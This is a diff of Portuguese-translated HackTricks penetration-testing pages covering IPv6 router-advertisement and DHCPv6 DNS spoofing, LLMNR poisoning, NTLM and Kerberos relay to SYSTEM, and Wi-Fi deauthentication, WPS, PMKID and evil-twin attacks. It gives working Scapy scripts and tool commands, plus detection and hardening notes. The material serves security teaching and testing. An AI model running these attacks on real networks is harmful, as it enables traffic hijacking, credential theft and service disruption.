- **Endereço de Loopback (`::1`)**: Equivalente ao `127.0.0.1` do IPv4, para comunicação interna dentro do host.
- **Endereços Link-Local (`FE80::/10`)**: Para atividades de rede local, não para roteamento na internet. Dispositivos na mesma rede local podem se descobrir usando essa faixa.
- **Endereços Link-Local (`FE80::/10`)**: Para atividades de rede local, não para roteamento na internet. Dispositivos na mesma rede local podem se descobrir usando esse intervalo.
### Uso Prático do IPv6 em Comandos de Rede
@ -128,7 +128,7 @@ sudo sysctl -w net.ipv4.tcp_tw_reuse=1
```
### Sniffing Passivo de NDP & DHCPv6
Porque cada host IPv6 **se junta automaticamente a vários grupos multicast** (`ff02::1`, `ff02::2`, …) e fala ICMPv6 para SLAAC/NDP, você pode mapear todo o segmento sem enviar um único pacote. O seguinte one-liner em Python/Scapy escuta as mensagens L2 mais interessantes e imprime um log colorido e com timestamp de quem é quem:
Porque cada host IPv6 **se junta automaticamente a múltiplos grupos multicast** (`ff02::1`, `ff02::2`, …) e fala ICMPv6 para SLAAC/NDP, você pode mapear todo o segmento sem enviar um único pacote. O seguinte one-liner em Python/Scapy escuta as mensagens L2 mais interessantes e imprime um log colorido e com timestamp de quem é quem:
```python
#!/usr/bin/env python3
from scapy.all import *
@ -250,11 +250,11 @@ O campo **Prf** (Preferência do Roteador) dentro do cabeçalho RA controla quã
| Médio (padrão) | `01` | Usado pela quase totalidade dos dispositivos legítimos |
| Baixo | `00` | Escolhido apenas quando não existe um roteador melhor |
Ao gerar o pacote com Scapy, você pode configurá-lo através do parâmetro `prf` como mostrado acima (`prf=0x1` → Alto). Combinar **Alto Prf**, um **intervalo curto** e uma **vida útil não zero** torna seu gateway malicioso notavelmente estável.
Ao gerar o pacote com Scapy, você pode configurá-lo através do parâmetro `prf`, como mostrado acima (`prf=0x1` → Alto). Combinar **Alto Prf**, um **intervalo curto** e uma **vida útil não zero** torna seu gateway malicioso notavelmente estável.
---
### Spoofing de RDNSS (DNS) via RA
### Spoofing RDNSS (DNS) via RA
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) permite adicionar uma opção **Servidor DNS Recursivo (RDNSS)** dentro de um RA. Sistemas operacionais modernos (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) confiam automaticamente nisso:
```python
@ -263,11 +263,12 @@ from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('--llip',required=True)
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
p.add_argument('--lifetime',type=int,default=600)
p.add_argument('--interval',type=int,default=5)
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
@ -276,7 +277,7 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
```
Os clientes irão **preparar** seu DNS na lista de resolutores para o tempo de vida dado, concedendo total sequestro de DNS até que o valor expire ou você envie um `lifetime=0` para reverter.
Os clientes irão **preencher** seu DNS na lista de resolutores pelo tempo determinado, concedendo total sequestro de DNS até que o valor expire ou você envie um `lifetime=0` para reverter.
### Spoofing de DNS DHCPv6 (mitm6)
@ -296,6 +297,53 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
* Monitorar por **RAs de alta taxa não sólidas** ou mudanças súbitas de **RDNSS**.
* Desabilitar IPv6 em endpoints é uma solução temporária que muitas vezes quebra serviços modernos e oculta pontos cegos – prefira filtragem L2 em vez disso.
### Descoberta de Roteador NDP em SSIDs de Convidados/Públicos e Exposição de Serviços de Gerenciamento
Muitos roteadores de consumo expõem daemons de gerenciamento (HTTP(S), SSH/Telnet, TR-069, etc.) em todas as interfaces. Em algumas implementações, o SSID “convidado/público” é conectado ao WAN/core e é apenas IPv6. Mesmo que o IPv6 do roteador mude a cada inicialização, você pode aprendê-lo de forma confiável usando NDP/ICMPv6 e, em seguida, conectar-se diretamente ao plano de gerenciamento a partir do SSID de convidado.
Fluxo de trabalho típico de um cliente conectado ao SSID de convidado/público:
1) Descubra o roteador via Solicitação de Roteador ICMPv6 para o multicast de Todos os Roteadores `ff02::2` e capture o Anúncio de Roteador (RA):
```bash
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
```
O RA revela o endereço/prefixo link-local do roteador e, muitas vezes, um endereço/prefixo global. Se apenas um link-local for conhecido, lembre-se de que as conexões devem especificar o índice da zona, por exemplo, `ssh -6 admin@[fe80::1%wlan0]`.
Alternativa: use a suíte ndisc6 se disponível:
```bash
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
```
2) Acesse serviços expostos via IPv6 a partir da SSID do convidado:
```bash
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
```
3) Se o shell de gerenciamento fornecer ferramentas de captura de pacotes via um wrapper (por exemplo, tcpdump), verifique a injeção de argumento/nome de arquivo que permite passar flags extras do tcpdump como `-G/-W/-z` para alcançar a execução de comandos pós-rotação. Veja:
{{#ref}}
../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md
{{#endref}}
Defesas/anotações:
- Não vincule o gerenciamento a pontes públicas/guest; aplique firewalls IPv6 nas pontes SSID.
- Limite a taxa e filtre NDP/RS/RA em segmentos de convidados onde for viável.
- Para serviços que devem ser acessíveis, imponha authN/MFA e limites de taxa fortes.
## Referências
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
@ -304,5 +352,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
- [FiberGateway GR241AG – Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}

36
src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
View File

@ -8,7 +8,7 @@
- **LLMNR, NBT-NS e mDNS**:
- Microsoft e outros sistemas operacionais usam LLMNR e NBT-NS para resolução de nomes local quando o DNS falha. Da mesma forma, sistemas Apple e Linux usam mDNS.
- Esses protocolos são suscetíveis a interceptação e spoofing devido à sua natureza não autenticada e de broadcast sobre UDP.
- Esses protocolos são suscetíveis à interceptação e spoofing devido à sua natureza não autenticada e de broadcast sobre UDP.
- [Responder](https://github.com/lgandx/Responder) pode ser usado para impersonar serviços enviando respostas forjadas para hosts que consultam esses protocolos.
- Mais informações sobre a impersonação de serviços usando Responder podem ser encontradas [aqui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
@ -36,7 +36,7 @@
### Envenenamento DHCP com Responder
- Spoofing de respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais discreta ao envenenamento ARP.
- Spoofing de respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais furtiva ao envenenamento ARP.
- Requer conhecimento preciso da configuração da rede alvo.
- Executando o ataque: `./Responder.py -I eth0 -Pdv`
- Este método pode capturar efetivamente hashes NTLMv1/2, mas requer manuseio cuidadoso para evitar interrupções na rede.
@ -60,18 +60,18 @@ Ou executado como um binário C#:
```bash
Inveigh.exe
```
### NTLM Relay Attack
### Ataque de Revezamento NTLM
Este ataque aproveita sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os principais pré-requisitos incluem:
Este ataque aproveita sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os pré-requisitos principais incluem:
- O usuário autenticado deve ter acesso de Admin Local no host retransmitido.
- O usuário autenticado deve ter acesso de Administrador Local no host revezado.
- A assinatura SMB deve estar desativada.
#### 445 Port Forwarding and Tunneling
#### Encaminhamento e Tunelamento da Porta 445
Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser redirecionado e tunelado. Ferramentas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de admin local está disponível para carregamento de driver.
Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de administrador local está disponível para carregamento de drivers.
PortBender setup and operation in Cobalt Strike:
Configuração e operação do PortBender no Cobalt Strike:
```bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
@ -90,7 +90,7 @@ beacon> socks stop
### Outras Ferramentas para Ataque de Relay NTLM
- **Metasploit**: Configurado com proxies, detalhes de hosts locais e remotos.
- **smbrelayx**: Um script em Python para relatar sessões SMB e executar comandos ou implantar backdoors.
- **smbrelayx**: Um script Python para relatar sessões SMB e executar comandos ou implantar backdoors.
- **MultiRelay**: Uma ferramenta do conjunto Responder para relatar usuários específicos ou todos os usuários, executar comandos ou despejar hashes.
Cada ferramenta pode ser configurada para operar através de um proxy SOCKS, se necessário, permitindo ataques mesmo com acesso indireto à rede.
@ -129,7 +129,7 @@ Para informações detalhadas sobre este ataque, verifique:
- 1. **Noções básicas sobre Kerberos**
| Token | Propósito | Relevância do Relay |
|-------|---------|-----------------|
|-------|-----------|---------------------|
| **TGT / AS-REQ ↔ REP** | Prova o usuário para o KDC | intocado |
| **Ticket de serviço / TGS-REQ ↔ REP** | Vinculado a um **SPN**; criptografado com a chave do proprietário do SPN | intercambiável se os SPNs compartilharem conta |
| **AP-REQ** | Cliente envia `TGS` para o serviço | **o que roubamos e reproduzimos** |
@ -142,7 +142,7 @@ Para informações detalhadas sobre este ataque, verifique:
1. **Chave compartilhada:** SPNs de origem e destino pertencem à mesma conta de computador (padrão em servidores Windows).
2. **Sem proteção de canal:** SMB/LDAP desativado e EPA desativado para HTTP/LDAPS.
3. **Você pode interceptar ou coagir a autenticação:** envenenamento LLMNR/NBNS, spoofing DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc.
3. **Você pode interceptar ou coagir a autenticação:** veneno LLMNR/NBNS, spoof de DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc.
4. **Fonte do ticket não utilizada:** você vence a corrida antes que o pacote real chegue ou bloqueia completamente; caso contrário, o cache de reprodução do servidor dispara o Evento 4649.
5. Você precisa de alguma forma ser capaz de realizar um **MitM na comunicação**, talvez fazendo parte do grupo DNSAmins para modificar o DNS do domínio ou sendo capaz de alterar o arquivo HOST da vítima.
@ -162,7 +162,7 @@ Select Name,servicePrincipalName
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` envolve **KrbRelay → LDAP → RBCD → Rubeus → bypass do SCM** em um único binário.
`KrbRelayUp` envolve **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** em um único binário.
- 3.3 **Forçar autenticação Kerberos**
```powershell
@ -189,9 +189,9 @@ Você agora possui **NT AUTHORITY\SYSTEM**.
| Vetor | Truque | Por que isso importa |
|-------|--------|---------------------|
| **AuthIP / IPSec** | Servidor falso envia um **payload GSS-ID** com qualquer SPN; cliente constrói um AP-REQ diretamente para você | Funciona mesmo entre sub-redes; credenciais da máquina por padrão |
| **AuthIP / IPSec** | Servidor falso envia um **payload GSS-ID** com qualquer SPN; cliente constrói um AP-REQ diretamente para você | Funciona mesmo entre sub-redes; credenciais de máquina por padrão |
| **DCOM / MSRPC** | Resolvedor OXID malicioso força o cliente a autenticar em SPN e porta arbitrários | Elevação de privilégio *local* pura; contorna firewall |
| **AD CS Web Enroll** | Revezar o ticket da máquina para `HTTP/CA` e obter um certificado, então **PKINIT** para gerar TGTs | Contorna defesas de assinatura LDAP |
| **AD CS Web Enroll** | Revezar ticket de máquina para `HTTP/CA` e obter um certificado, então **PKINIT** para criar TGTs | Contorna defesas de assinatura LDAP |
| **Credenciais Sombra** | Escrever `msDS-KeyCredentialLink`, então PKINIT com par de chaves forjado | Não é necessário adicionar uma conta de computador |
### **Solução de Problemas**
@ -201,18 +201,18 @@ Você agora possui **NT AUTHORITY\SYSTEM**.
| `KRB_AP_ERR_MODIFIED` | Chave do ticket ≠ chave do alvo | Host/SPN errado |
| `KRB_AP_ERR_SKEW` | Desvio de relógio > 5 min | Sincronizar hora ou usar `w32tm` |
| Falha na ligação LDAP | Assinatura aplicada | Usar caminho AD CS ou desativar assinatura |
| Spam de Evento 4649 | Serviço viu autenticador duplicado | bloquear ou competir com o pacote original |
| Spam de Evento 4649 | Serviço viu autenticador duplicado | bloquear ou correr o pacote original |
### **Detecção**
* Aumento em **Evento 4769** para `CIFS/`, `HTTP/`, `LDAP/` da mesma fonte em segundos.
* **Evento 4649** no serviço indica replay detectado.
* **Evento 4649** no serviço indica que replay foi detectado.
* Logon Kerberos de **127.0.0.1** (revezar para SCM local) é altamente suspeito—mapear via regra Sigma na documentação do KrbRelayUp.
* Monitorar mudanças nos atributos `msDS-AllowedToActOnBehalfOfOtherIdentity` ou `msDS-KeyCredentialLink`.
* Observar mudanças nos atributos `msDS-AllowedToActOnBehalfOfOtherIdentity` ou `msDS-KeyCredentialLink`.
## **Fortalecimento**
1. **Impor assinatura LDAP e SMB + EPA** em todos os servidores.
1. **Impor assinatura LDAP & SMB + EPA** em todos os servidores.
2. **Dividir SPNs** para que HTTP não esteja na mesma conta que CIFS/LDAP.
3. Corrigir vetores de coerção (PetitPotam KB5005413, DFS, AuthIP).
4. Definir **`ms-DS-MachineAccountQuota = 0`** para impedir junções de computadores indesejados.

63
src/generic-methodologies-and-resources/pentesting-wifi/README.md
View File

@ -21,6 +21,7 @@ iwlist wlan0 scan #Scan available wifis
### Hijacker & NexMon (Wi-Fi interno do Android)
{{#ref}}
enable-nexmon-monitor-and-injection-on-android.md
{{#endref}}
@ -65,7 +66,7 @@ Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela irá automaticamente
- Escanear redes possíveis - E permitir que você selecione a(s) vítima(s)
- Se WEP - Lançar ataques WEP
- Se WPA-PSK
- Se WPS: ataque Pixie dust e o ataque de força bruta (cuidado, o ataque de força bruta pode demorar muito). Note que não tenta PINs nulos ou PINs gerados por banco de dados.
- Se WPS: ataque Pixie dust e o ataque de força bruta (cuidado, o ataque de força bruta pode demorar muito). Note que não tenta PINs nulos ou PINs gerados/banco de dados.
- Tentar capturar o PMKID do AP para quebrá-lo
- Tentar desautenticar clientes do AP para capturar um handshake
- Se PMKID ou Handshake, tentar força bruta usando as 5000 senhas mais comuns.
@ -101,7 +102,7 @@ Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela irá automaticamente
**Descrição de** [**aqui**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
Ataques de **desautenticação**, um método prevalente em hacking Wi-Fi, envolvem forjar quadros de "gerenciamento" para **desconectar forçosamente dispositivos de uma rede**. Esses pacotes não criptografados enganam os clientes, fazendo-os acreditar que são da rede legítima, permitindo que os atacantes coletem handshakes WPA para fins de quebra ou para interromper persistentemente as conexões de rede. Essa tática, alarmante em sua simplicidade, é amplamente utilizada e tem implicações significativas para a segurança da rede.
Ataques de **desautenticação**, um método prevalente em hacking Wi-Fi, envolvem forjar quadros de "gerenciamento" para **desconectar forçosamente dispositivos de uma rede**. Esses pacotes não criptografados enganam os clientes, fazendo-os acreditar que são da rede legítima, permitindo que atacantes coletem handshakes WPA para fins de quebra ou para interromper persistentemente conexões de rede. Essa tática, alarmante em sua simplicidade, é amplamente utilizada e tem implicações significativas para a segurança da rede.
**Desautenticação usando Aireplay-ng**
```
@ -126,7 +127,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **Mais ataques DOS pelo mdk4**
### **Mais ataques DOS com mdk4**
**Em** [**aqui**](https://en.kali.tools/?p=864)**.**
@ -152,7 +153,7 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**MODO DE ATAQUE p: Probing de SSID e Bruteforcing**
Probing de Pontos de Acesso (APs) verifica se um SSID está devidamente revelado e confirma o alcance do AP. Esta técnica, combinada com **bruteforcing de SSIDs ocultos** com ou sem uma lista de palavras, ajuda na identificação e acesso a redes ocultas.
Probing de Pontos de Acesso (APs) verifica se um SSID está devidamente revelado e confirma o alcance do AP. Esta técnica, combinada com **bruteforcing de SSIDs ocultos** com ou sem uma lista de palavras, ajuda a identificar e acessar redes ocultas.
**MODO DE ATAQUE m: Exploração de Contramedidas de Michael**
@ -180,9 +181,9 @@ Conectar clientes a múltiplos nós WDS ou APs falsos pode manipular Sistemas de
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```
**MODO DE ATAQUE f: Fuzzing de Pacotes**
**MODO DE ATAQUE f: Packet Fuzzer**
Um fuzzing de pacotes com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes.
Um packet fuzzer com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes.
### **Airggedon**
@ -192,7 +193,7 @@ _**Airgeddon**_ oferece a maioria dos ataques propostos nos comentários anterio
## WPS
WPS (Wi-Fi Protected Setup) simplifica o processo de conexão de dispositivos a um roteador, aumentando a velocidade e a facilidade de configuração para redes criptografadas com **WPA** ou **WPA2** Pessoal. É ineficaz para a segurança WEP, que é facilmente comprometida. O WPS utiliza um PIN de 8 dígitos, validado em duas metades, tornando-se suscetível a ataques de força bruta devido ao seu número limitado de combinações (11.000 possibilidades).
WPS (Wi-Fi Protected Setup) simplifica o processo de conexão de dispositivos a um roteador, aumentando a velocidade e a facilidade de configuração para redes criptografadas com **WPA** ou **WPA2** Pessoal. É ineficaz para a segurança WEP, que é facilmente comprometida. O WPS utiliza um PIN de 8 dígitos, validado em duas metades, tornando-o suscetível a ataques de força bruta devido ao seu número limitado de combinações (11.000 possibilidades).
### WPS Bruteforce
@ -289,9 +290,9 @@ hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
Por favor, note que o formato de um hash correto contém **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Se o seu **contém apenas** **3 partes**, então, é **inválido** (a captura do PMKID não foi válida).
Por favor, note que o formato de um hash correto contém **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Se o seu **contiver apenas** **3 partes**, então, é **inválido** (a captura do PMKID não foi válida).
Note que `hcxdumptool` **também captura handshakes** (algo como isso aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Você pode **transformar** os **handshakes** para o formato **hashcat**/**john** usando `cap2hccapx`.
Note que `hcxdumptool` **também captura handshakes** (algo como isso aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Você pode **transformar** os **handshakes** para o formato **hashcat**/**john** usando `cap2hccapx`
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -301,12 +302,12 @@ aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Eu notei que alguns handshakes capturados com esta ferramenta não puderam ser quebrados mesmo sabendo a senha correta. Eu recomendaria capturar handshakes também de forma tradicional, se possível, ou capturar vários deles usando esta ferramenta._
### Captura de Handshake
### Captura de handshake
Um ataque a redes **WPA/WPA2** pode ser executado capturando um **handshake** e tentando **quebrar** a senha **offline**. Este processo envolve monitorar a comunicação de uma rede específica e **BSSID** em um **canal** particular. Aqui está um guia simplificado:
1. Identifique o **BSSID**, **canal** e um **cliente conectado** da rede alvo.
2. Use `airodump-ng` para monitorar o tráfego da rede no canal e BSSID especificados, na esperança de capturar um handshake. O comando será assim:
2. Use `airodump-ng` para monitorar o tráfego da rede no canal e BSSID especificados, na esperança de capturar um handshake. O comando ficará assim:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
@ -368,7 +369,7 @@ Você pode encontrar mais informações sobre esses métodos de autenticação [
### Captura de Nome de Usuário
Lendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que se você estiver usando **EAP**, as **mensagens "Identidade"** devem ser **suportadas**, e o **nome de usuário** será enviado em **claro** nas mensagens de **"Resposta de Identidade"**.
Lendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que se você estiver usando **EAP**, as **mensagens de "Identidade"** devem ser **suportadas**, e o **nome de usuário** será enviado em **claro** nas mensagens de **"Resposta de Identidade"**.
Mesmo usando um dos métodos de autenticação mais seguros: **PEAP-EAP-TLS**, é possível **capturar o nome de usuário enviado no protocolo EAP**. Para fazer isso, **capture uma comunicação de autenticação** (inicie `airodump-ng` dentro de um canal e `wireshark` na mesma interface) e filtre os pacotes por `eapol`.\
Dentro do pacote "**Resposta, Identidade**", o **nome de usuário** do cliente aparecerá.
@ -389,7 +390,7 @@ No EAP-PEAP, uma vez que o túnel TLS é estabelecido entre o servidor PEAP e o
O EAP-TTLS segue um procedimento ligeiramente diferente. Com o EAP-TTLS, o cliente normalmente se autentica usando PAP ou CHAP, protegido pelo túnel TLS. Neste caso, o cliente inclui um atributo User-Name e um atributo Password ou CHAP-Password na mensagem TLS inicial enviada após o estabelecimento do túnel.
Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o túnel TLS ter sido estabelecido. A verdadeira identidade pode ser representada como user@realm ou simplesmente user. Se o servidor PEAP/TTLS também for responsável por autenticar o usuário, agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada de protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a embalagem EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o User-Name anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando o User-Name anônimo e os atributos TTLS EAP-Message encontrados na solicitação RADIUS de entrada.
Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o túnel TLS ter sido estabelecido. A verdadeira identidade pode ser representada como user@realm ou simplesmente user. Se o servidor PEAP/TTLS também for responsável por autenticar o usuário, agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada do protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a embalagem EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o User-Name anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando os atributos User-Name anônimo e TTLS EAP-Message encontrados na solicitação RADIUS de entrada.
Para mais informações, consulte [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
@ -412,7 +413,7 @@ Você também pode realizar este ataque usando `eaphammer`:
### Seleção de Rede e Roaming
- O protocolo 802.11 define como uma estação se junta a um Conjunto de Serviço Estendido (ESS), mas não especifica os critérios para selecionar um ESS ou um ponto de acesso (AP) dentro dele.
- As estações podem fazer roaming entre APs que compartilham o mesmo ESSID, mantendo a conectividade em um prédio ou área.
- As estações podem fazer roaming entre APs que compartilham o mesmo ESSID, mantendo a conectividade em um edifício ou área.
- O protocolo requer autenticação da estação ao ESS, mas não exige autenticação do AP para a estação.
### Listas de Redes Preferidas (PNLs)
@ -422,7 +423,7 @@ Você também pode realizar este ataque usando `eaphammer`:
### Varredura Passiva
- Os APs periodicamente transmitem quadros de beacon, anunciando sua presença e características, incluindo o ESSID do AP, a menos que a transmissão esteja desativada.
- Os APs transmitem periodicamente quadros de beacon, anunciando sua presença e características, incluindo o ESSID do AP, a menos que a transmissão esteja desativada.
- Durante a varredura passiva, as estações escutam os quadros de beacon. Se o ESSID de um beacon corresponder a uma entrada na PNL da estação, a estação pode se conectar automaticamente a esse AP.
- O conhecimento da PNL de um dispositivo permite uma possível exploração ao imitar o ESSID de uma rede conhecida, enganando o dispositivo para se conectar a um AP malicioso.
@ -430,7 +431,7 @@ Você também pode realizar este ataque usando `eaphammer`:
- O probing ativo envolve estações enviando solicitações de probe para descobrir APs próximos e suas características.
- Solicitações de probe direcionadas visam um ESSID específico, ajudando a detectar se uma rede particular está ao alcance, mesmo que seja uma rede oculta.
- Solicitações de probe de broadcast têm um campo SSID nulo e são enviadas a todos os APs próximos, permitindo que a estação verifique qualquer rede preferida sem divulgar o conteúdo de sua PNL.
- Solicitações de probe de broadcast têm um campo SSID nulo e são enviadas para todos os APs próximos, permitindo que a estação verifique qualquer rede preferida sem divulgar o conteúdo de sua PNL.
## AP Simples com redirecionamento para a Internet
@ -459,7 +460,7 @@ Então **defina IPs** e **rotas**:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```
E então **inicie** o dnsmasq:
E então **inicie** dnsmasq:
```bash
dnsmasq -C dnsmasq.conf -d
```
@ -500,11 +501,11 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
Um ataque de evil twin explora a maneira como os clientes WiFi reconhecem redes, dependendo principalmente do nome da rede (ESSID) sem exigir que a estação base (ponto de acesso) se autentique ao cliente. Os pontos-chave incluem:
Um ataque de evil twin explora a maneira como os clientes WiFi reconhecem redes, dependendo principalmente do nome da rede (ESSID) sem exigir que a estação base (ponto de acesso) se autentique ao cliente. Os pontos principais incluem:
- **Dificuldade em Diferenciação**: Dispositivos têm dificuldade em distinguir entre pontos de acesso legítimos e maliciosos quando compartilham o mesmo ESSID e tipo de criptografia. Redes do mundo real frequentemente usam múltiplos pontos de acesso com o mesmo ESSID para estender a cobertura de forma contínua.
- **Manipulação de Conexão e Roaming do Cliente**: O protocolo 802.11 permite que dispositivos se movam entre pontos de acesso dentro do mesmo ESS. Ataques podem explorar isso atraindo um dispositivo a desconectar de sua estação base atual e conectar-se a uma maliciosa. Isso pode ser alcançado oferecendo um sinal mais forte ou interrompendo a conexão com o ponto de acesso legítimo através de métodos como pacotes de desautenticação ou jamming.
- **Desafios na Execução**: Executar com sucesso um ataque de evil twin em ambientes com múltiplos pontos de acesso bem posicionados pode ser desafiador. Desautenticar um único ponto de acesso legítimo frequentemente resulta no dispositivo se conectar a outro ponto de acesso legítimo, a menos que o atacante consiga desautenticar todos os pontos de acesso próximos ou posicionar estrategicamente o ponto de acesso malicioso.
- **Desafios na Execução**: Executar com sucesso um ataque de evil twin em ambientes com múltiplos pontos de acesso bem posicionados pode ser desafiador. Desautenticar um único ponto de acesso legítimo frequentemente resulta no dispositivo se conectando a outro ponto de acesso legítimo, a menos que o atacante consiga desautenticar todos os pontos de acesso próximos ou posicionar estrategicamente o ponto de acesso malicioso.
Você pode criar um Open Evil Twin muito básico (sem capacidades de rotear tráfego para a Internet) fazendo:
```bash
@ -530,7 +531,7 @@ Você pode criar um **Evil Twin usando WPA/2** e se os dispositivos estiverem co
```
### Enterprise Evil Twin
Para entender esses ataques, eu recomendaria ler antes o breve [WPA Enterprise explanation](#wpa-enterprise-mgt).
Para entender esses ataques, eu recomendaria ler antes a breve [explicação do WPA Enterprise](#wpa-enterprise-mgt).
**Usando hostapd-wpe**
